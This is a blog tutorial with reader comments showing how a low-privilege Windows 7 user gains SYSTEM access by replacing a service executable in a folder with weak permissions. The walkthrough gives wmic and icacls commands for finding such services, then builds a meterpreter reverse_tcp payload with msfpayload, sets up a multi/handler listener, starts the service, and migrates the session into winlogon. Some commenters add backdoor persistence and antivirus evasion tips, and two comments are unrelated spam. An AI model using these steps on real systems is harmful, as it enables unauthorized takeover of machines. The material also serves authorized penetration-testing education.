windows privilege escalation via weak service permissions

When performing security testing on a Windows environment, or any environment for that matter, one of the things you’ll need to check is if you can escalate your privileges from a low privilege user to a high privileged user. No matter what environment you are testing there are going to be a range or roles with varying privileges, for the most part on a local windows environment there going to be three roles / privileged users.

1. System
2. Administrator
3. Regular user

Most people would think administrator has the highest privilege but actually it’s the system account. A regular user is typically the most limited role which may be so limited that it can’t even install software. In the previous paragraph I mentioned “local windows environment” that’s because when it comes to a network or active directory environment you have to take other things into consideration. The scenario I’ll be going over involves a single install of a windows operating system.

So let’s say you’re performing  a security test on a system / environment where all you’re given is a low level privileged account but you want to try and escalate those privileges so that you can get “system” level privileges, what do you do? There are a number of routes you can take. Scott Sutherland has written a nice article on windows privilege escalation and some of the techniques that you can try. Also the guys over at have put together a nice document as well that talks about windows privilege escalation. Last but certainly not least pentestmonkey has written a python script that will search the system for potential areas of privilege escalation and report back.

Obviously the technique I’m going to be discussing is leveraging windows services that have low or weak permissions. For those that aren’t aware a windows service is a process that is ran in the background and a regular user would never know that this process is running unless they specifically checked for it, meaning there is no “window” or GUI associated with a service. But a service is just like a process in the fact that it’s an executable. You can determine all the services on your machine by using the “wmic” command.

wmic service list brief

Your output should be similar to below, I’ve snipped the output for brevity.

... snip ...

1077      WMPNetworkSvc                   0          Manual     Stopped  OK

1077      WPCSvc                          0          Manual     Stopped  OK

0         WPDBusEnum                      0          Manual     Stopped  OK

0         wscsvc                          752        Auto       Running  OK

0         WSearch                         2140       Auto       Running  OK

0         wuauserv                        856        Auto       Running  OK

First column is the exit code, second column is the name of the service, third column is the process ID (PID) of the service, fourth column states how the service is to be started (start mode), fifth column states if the process is running (state), and the last column gives the status of the service itself. You can also right click on your taskbar, same bar as the start menu, then select task manager. Within the task manager you can select the “services” tab to see this same information, keep in mind there is no services tab within the task manager for XP for this scenario I’m using windows 7.

So now that you know how to determine what services are available and running on a particular machine how can we determine if they have “weak permissions”? By weak permissions I mean the folder where the service EXE is allows “write” access. Having write access allows me to replace that executable with my malicious executable, start the service and voila I’ve got access. That’s it in a nutshell but let’s walk through the steps to quickly determine which services are vulnerable and how to attack that vulnerable weak service permission.

On a windows machine there can be a ton of services, going through each folder where the service executable is located, right clicking and determining the permission can be a pain in the butt. First thing we’ll need to do is run a couple of commands to easily pull all the permissions for all the services.

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

The first command uses wmic to list the services, looks for the full path of the executable, filters out system32 paths, and then dumps that output to a text file. The second command parses that text file getting rid of some junk in the path name then does the icacls command on that path to determine the permissions on that service executable. A snippet of the output you’ll see on the command line is below.

" Users\homer>cmd.exe /c icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe  BUILTIN\IIS_IUSRS:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(I)(F)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE NT AUTHORITY\SYSTEM:(I)(F)

Successfully processed 1 files; Failed processing 0 files

For my particular commands I’ve excluded service executables that live in c:\windows\system32 folder because more than likely those folders have the proper permissions because they came packaged with windows. The services I’m more interested in are third party applications because they get installed by a user and either the user improperly configures the folder permissions or during the install the application misconfigures the folder permissions. So this is the main reason why I filter out c:\windows\system32 but if you wanted to include that simply remove the system32 find statement from the command.

The output of the icacls command can be a little confusing but what you want to look for is if “BUILTIN\Users” have full access which will be designated as “(F)”. If you have full access to the folder where the service executable lives then you can replace the service executable with your own malicious service executable. So when the service starts, either at boot automatically or manually, your malicious executable will run hopefully giving you full access to the device. So my snippet of output actually has a  service with weak permissions which can also be seen on line 17 in the output above.

C:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(F)

The “Source Engine” folder is a standard folder for windows 7 and out of the box has the proper permissions, meaning a regular user will not have write access to that folder. For this demonstration I’ve manually modified the permissions of the “Source Engine” folder to highlight the effect of improper permissions. So now that you’ve found a folder of a service that allows the write permission it’s time to insert / upload our malicious executable. The most convenient way I’ve found is using the msfpayload functionality within metasploit. For the uninitiated and overwhelmed folks that try to deal with metasploit and msfpayload it might just be best to use backtrack. Just grab backtrack which comes with everything installed and ready to go. I’m not going to go through all of the steps of getting metasploit up and running but if you have any troubles feel free to email me ( or post a question in the comments. In backtrack I issue the following commands to create a malicious executable.

root@bt:~# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:0c:29:11:1e:53
inet addr:  Bcast:  Mask:
inet6 addr: fe80::20c:29ff:fe11:1e53/64 Scope:Link
RX packets:9227 errors:0 dropped:0 overruns:0 frame:0
TX packets:396 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:650604 (650.6 KB)  TX bytes:123409 (123.4 KB)
Interrupt:19 Base address:0x2024

root@bt:~# cd /pentest/exploits/framework
root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp LHOST= lport=80 X > exploit.exe
Created by msfpayload (
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"", "lport"=>"80"}

The command on line one is simply trying to determine the IP address of our machine (ifconfig command) and line 3 states that our attacking IP address is, we’ll need this information to create our malicious executable. The next command is on line 12 where you change directories (cd) to the location of the msfpayload command. Line 13 is the most important command which is the actual command we use to create our malicious executable. This command creates a meterpreter payload and the lhost and lport are parameters we set when creating the payload. The lhost is from the output of ifconfig and you can specify any port you like, you don’t have to include lport because by default it’s 4444. You don’t need to know details about meterpreter for now think of it as a windows command prompt on steroids. Finally we use the “> exploit.exe” to create the malicious executable in the current directory.

Now you have to get that exploit.exe over to your target windows machine. I’ll leave this up to you but if you run the python simple http server in that current directory then all you have to do on the windows machine is open up internet explorer put in the IP address of your attack machine and download exploit.exe. Next put exploit.exe into the folder with the weak permissions in this case C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE. You should now have something like this.

Next rename the original ose.exe to something different and name exploit.exe to ose.exe

So now we’ve replaced the original executable with our malicious executable next we’ll need to fire up metasploit so that it can accept our connection once we run our new executable. So head over to your Linux box and run the msfconsole command.


You should now have a “msf” console, next run the following commands.

msf > use exploit/multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set lhost
lhost =>
msf  exploit(handler) > set lport 80
lport => 80
msf  exploit(handler) >

At this point it’s always a good idea to do the “show options” command to make sure everything is set up correctly.

msf  exploit(handler) > show options

Module options (exploit/multi/handler):

Name  Current Setting  Required  Description
----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST  yes       The listen address
LPORT     80               yes       The listen port

Exploit target:

Id  Name
--  ----
0   Wildcard Target

If everything checks out then you’re ready to go, now just type “exploit”. This will wait until we run the executable on the target machine but when we do it will give us back our meterpreter command prompt.

msf  exploit(handler) > exploit

[*] Started reverse handler on
[*] Starting the payload handler...

Now on the target windows machine we’ll need to start the service which will run our malicious executable then connect back to our attack machine giving us a command prompt. So run the wmic command below to start the service.

C:\Users\homer>wmic service ose call startservice

You should see similar output when you run this command.

Executing (\\WIN-B5JHUDECH2P\ROOT\CIMV2:Win32_Service.Name="ose")->startservice()

Once you’ve started the service now it’s time to hop back over to your metasploit command prompt to see if we get our meterperter command prompt, you should see the following.

[*] Sending stage (752128 bytes) to
[*] Meterpreter session 1 opened ( -> at 2012-03-22 23:18:56 -0400

meterpreter >

Anytime you get a meterpreter command prompt back that’s usually a win but wait everything is not as it seems. After about 30 – 40 seconds I see that my meterpreter session ended.

[*] Meterpreter session 1 closed.  Reason: Died

Back on the windows machine there’s also some output on the command prompt.

Method execution successful.
Out Parameters:
instance of __PARAMETERS
ReturnValue = 7;

The return value of 7 means that the request timed out. So bummer we got this far had a meterpreter prompt, which gives us lots of post exploitation goodness, but lost everything. Don’t throw in the towel there is a way around this situation. During those 30 – 40 seconds that we have the meterpreter command prompt we can migrate to another process. The concept of migrating is exactly what it sounds like, instead of hooking into our ose.exe malicious executable service we can hop to another process that is already running with system privileges. First thing you’ll want to do is list all the processes running on the windows machine to determine the PID of a process that we can migrate to, once again wmic to the rescue.

wmic process list brief | find "winlogon"

Here you’ll want to determine the PID of the winlogon.exe process and the fourth column of this output is the PID of the process. Winlogon.exe is a popular executable to migrate to because it’s always present and runs as the system user. You could easily migrate to another process that runs as system and to determine this you can run the task manager and look for the user that is associated with the process. If at first you don’t see this make sure to click “show process from all users”. Once you have the PID of the winlogon.exe restart the service by running the wmic service command, ose.exe in this case, then quickly migrate to the winlogon.exe PID within meterpreter. Below is the command within meterpreter to migrate to another process.

meterpreter > migrate 460
[*] Migrating to 460...
[*] Migration completed successfully.
meterpreter >

Now we’ve successfully migrated to a stable process as the system user with a restricted user, this was our ultimate goal. We can determine our current privilege within meterpreter with the following command.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

At this point you have full control of the operating system and you can leverage all the post exploitation goodness that you can get your hands on. I don’t want to go into all the options and features of what to do once you’ve gained system access to a windows device I’ll leave that to other folks or a different discussion.

There is one other thing to note about escalating privileges on a windows device. Meterpreter has an option to “getsystem” meaning it tries to get system privileges. The getsystem command is only going to work in a handful of scenarios. The two main ways it accomplishes this task is via an unpatched machine or you already have administrative privileges. In the scenario I’ve described we don’t have admin privileges and our box is fully patched hence the reason I’m describing a technique of looking for services with weak permissions. A service that allows full control by a regular user is a misconfiguration so there is no “patch” for this scenario where we can get system privileges.

Let’s take a closer look at the getsystem command, we can do this by simply issuing the command below inside the meterpreter prompt.

meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.


-h        Help Banner.
-t <opt>  The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)

Options 1-3 all require admin privileges, which we don’t have, and option 4 will not work if the system is patched for the kitrap0d exploit. Let’s just verify that the “getsystem” command within meterpreter will not work if we don’t leverage something like a weak service permission. If you still have your meterpreter prompt go ahead and exit out.

meterpreter > exit
[*] Shutting down Meterpreter...

[*] Meterpreter session 2 closed.  Reason: User exit
msf  exploit(handler) >

Now instead of launching our malicious executable from the OSE service let’s execute exploit.exe, that we moved over earlier to our target windows machine, as a regular user. I saved my exploit.exe on the desktop. Before running exploit.exe as a regular user we need to go back to Linux and start our handler.

msf  exploit(handler) > exploit

[*] Started reverse handler on
[*] Starting the payload handler...

Now on our windows target machine let’s run our exploit.exe



Once we run exploit.exe on our windows target machine you should get back a meterpreter prompt back.

[*] Sending stage (752128 bytes) to
[*] Meterpreter session 3 opened ( -> at 2012-03-23 00:29:29 -0400

meterpreter >

Now let’s try the “getsystem” command and see what happens.

meterpreter > getsystem

Here it just hangs and doesn’t do anything, after about a minute it will finally error out giving the following output.

meterpreter > getsystem
[-] Error running command getsystem: Rex::TimeoutError Operation timed out.
meterpreter >

So the getsystem command didn’t work. This is to be expected because the user (homer is our user) that executed our exploit.exe is a regular user and our windows box is up to date with all the latest patches. If we go back to our windows machine we’ll see the following error message.

This error is generated because the kitrap0d exploit fails and the exploit fails because the windows box is up to date with all the latest patches. When you don’t have admin and the windows box is up to date there is only a handful of options to escalate your privileges and testing for weak permissions is one of those avenues. Going from regular user to a system user can be difficult if everything is properly locked down but going from an admin user to the system user is not that big of a deal. The sysinternals psexec.exe is another powerful tool every pentester should have in his tool bag. Using psexec as an admin user one can easily become the system user with the “-s” option so if you wanted a command prompt with system level privileges all you would have to do is run the following command.

c:\psexec.exe -s cmd.exe

After this you’ll be presented with a command prompt with system level privileges. I mention psexec just to show you how easy it is to become the system user as long as you’re an admin user. The “-s” option of psexec would not work as a regular user only an admin user.

To wrap this all up I simply wanted to highlight one way of escalating your privilege on a windows device. This is simply one method to escalate privileges, there are many like it but this is the one I’m describing. This method is my best friend. It is my life. I must master it as I must master my life. Oh sorry, didn’t mean to go all full metal jacket there. So yes this is one technique and tricks like “getsystem” within meterpreter are handy but keep in mind their approaches and how they are trying to achieve privilege escalation.

If you have any feedback about this topic please leave comments below and if you have any other interesting ways of escalating privileges I would love to hear about it. If you slugged your way through this entire article congrats and if you see areas where I could improve please help a brother by pointing out areas where I could improve, thanks.

31 Responses to “windows privilege escalation via weak service permissions”

  1. dj Says:

    really good write up, thanks for taking the time to share

  2. jafar Says:

    I really enjoyed reading this post, I’m gonna make my own try right now,

  3. tony Says:

    good write up.
    don’t you need local admin rights in order to use the wmic commands?

  4. travis Says:


    I did all my commands and work as a “regular” user in windows. You don’t need admin to run all wmic commands but some wmic commands do require admin privileges. One of the most important is the ability to start a service and a regular user can start a service via wmic if they have the proper permissions on the executable they are starting. If I’m in error please let me know but I tried to perform every action as a regular user. Thanks for asking Tony.

  5. tony Says:

    Do you know what privileges are required to run the most basic wmic commands?
    Some institutions may lock down their normal user rights more than the default windows settings.

    I am currently on a pentest and when I run the “wmic service list brief” command I receive the following error:
    Failed to register mof file(s).
    Only the administrator group members can use WMIC.EXE.
    Reason:Win32 Error: Access is denied.

    However, I believe you can use the sc.exe built-in utility to find the paths of all the service binaries:
    sc query | findstr “SERVICE_NAME:” >> Servicenames.txt

    Clean up the .txt file then create a batch file by insert the service names into the following command:
    sc qc [Insert Service Name] | findstr “BINARY_PATH_NAME” >> servicebinarypaths.txt

    From there you can run the CACLS command to find any weak permissions.

    I am still very curious about the specific privileges that would allow a user to run basic wmic commands like “wmic service.”

    Thanks for your earlier response.

  6. GreenDog Says:

    Nice post! I’ve found two 0-days :)

  7. tony Says:

    [correction to post above]
    the command “sc query” only finds running services

    “sc query state= all” will display running and stopped services

  8. travis Says:

    Awesome, glad it helped. Just curious what services didnt have the proper permissions?

  9. travis Says:


    I went back and doubled check and my user “homer” was not in the administrator group just the “user” group. Unfortunately and I’ve seen it as well organizations can implement very granular permissions so it sucks that you weren’t able to run wmic as a “regular” user. I’m familiar with “sc” but if I recall correctly I had permission problems try to start a service with “sc” instead of wmic but then again I’ve been known to forget things. If you figure the problem out let me know.

  10. Rarbocs Says:

    Very informative, I knew most of the above but there were bits I was not aware off
    Thank You

  11. GreenDog Says:

    OK, one of them was not 0-day.
    It was Cisco VPN client.
    VPN client’s folder has a normal permissions(Read and Execute) for “User” group, but also it has full permissions for “Interactive”. So, any user can change the service’s executable :)
    But the vuln was only in one Cisco VPN client version –, which I have. I thought that it is the last version, but Cisco said that the last is So it isn’t 0-day ))

  12. travis Says:


    Still, excellent find.

  13. travis Says:

    Thanks Rarbocs

  14. tom Says:

    This is a similar method as the uacbypass metasploit module.

    Very nicely written article, however to my knowledge this method will only work given that you have an executable that will not be detected by whatever anti virus the target is using.

  15. travis Says:


    You’re correct but it’s very easy to evade anti virus software.

  16. hap Says:

    Greate Job !

  17. jay Says:

    wmic not working for me as a normal user…
    standalone xp sp3

    says only the admin group members can use wmic.exe

  18. travis Says:

    Hmmm. Jay I did not test on a XP SP3 box so not sure the permissions regarding wmic and XP SP3. If I get a chance to test I’ll let you know what I run into. Did you test this on a XP SP3 box that has been tweaked or is it in a “fresh out of the box” state?

  19. Nikolai Says:


    Very good article. In my current research, I have looking into Active Directory Privilege Escalation and it is somehwhat similar in concept, except that instead of services involved, we are looking at security rights in Active Directory.

    Speciba Tovarich!

  20. security Says:


    Good article.

    However, you didn’t mention that the service should be running as System. I’m guessing there is no point searching for write permission on a folder if the service is running with low privileges.

    Correct me if I’m wrong.


  21. security Says:

    Correction to above post:

    There is no point copying a different binary(exploit) to a folder with write permissions if the service does not run as System.

  22. b1ackzer0 Says:

    Hello, Great post.. I was also not able to use WMIC myself so I re-wrote the examples in sc as suggested in the comments above


  23. travis Says:


    Thanks for the feedback and I read your re-write using the “sc” command, nice addition and this will come in handy if I run across a system where wmic doesn’t work. Thanks.

  24. ariarat Says:

    Hi travis

    I read your post.
    In Apr 03 2012 Gjoko Krstic published the file permission bug in Zend Otimizer.
    Zend Optimizer 3.3.0 bug that explain here :

    after replace a DLL file with exploit how we can execute this DLL in SYSTEM privilege? How can use this to escalate privilege?


  25. travis Says:


    Not sure where you’re stuck but once you’ve got a malicious ZendExtensionManager.dll created and uploaded to the proper folder then restarting the executable / service should launch your payload. Let me know if that does not work.

  26. Sadi Says:

    Over all good you forget to mention msfpaylod s easily detected by AVs 2: let assume found a weak folder and placed exe file in it still won’t start as service.. you forget to mention to edit HKLM on regedit to have exploit start as service.

    what if we want to create a backdoor for future access ? regedit & HKLM !

    Anyway Good Job

  27. travis Says:


    Metasploit is just an example. If I were truly trying to exploit a system I would not use Metasploit, it throws up red flags all over the place. Also if the service you exploit is already starting at boot then you’re already golden.

  28. Jason Says:

    I was attempting to run the following command in a batch file:

    psexec.exe \\%remotePC% cmd /c for /f eol^=^”^ delims^=^” %%a in (filename.txt) do cmd.exe /c icacls “%%a” >> filename2.txt

    The cmd window title reads: \\computer: cmd /c “for /f /eol^=^” delims=” %a in (c:\…

    It appears to start the process on the remote machine but then seems to fail returning the following:
    delims was unexpected at this time.
    cmd exited on remotePC with error code 1.

    However, if I break the command into two commands and paste them to the command line, they execute fine. The two commands are:
    psexec.exe \\%remotePC% cmd
    for /f eol^=^”^ delims^=^” %a in (filename.txt) do cmd.exe /c icacls “%a” >> filename2.txt

    Has anyone else run into this or is there a work around for my batch file?

  29. travis Says:


    I haven’t experienced that, not sure why that’s the case.

  30. Gay Says:

    This is especially useful if the person you’re inquiring about has a
    less than common name. The combination of your logo and tagline
    should appear on every page to create a sense
    of cohesion. Once each item on the list of services is defined,
    select all of the individual items for that list, click the Home
    tab on the ribbon and choose Bullets again to turn the bulleted list
    formatting back on for that block of text as shown below:.

  31. Says:

    This is how quite a few website owners make substantial
    6 and 7 figure incomes each year. However, because they are free,
    users cannot have a custom domain name, rather the URL will be
    [insertname]. Well, you may have to consider a lot of
    things before you even plan to launch your website.

Leave a Reply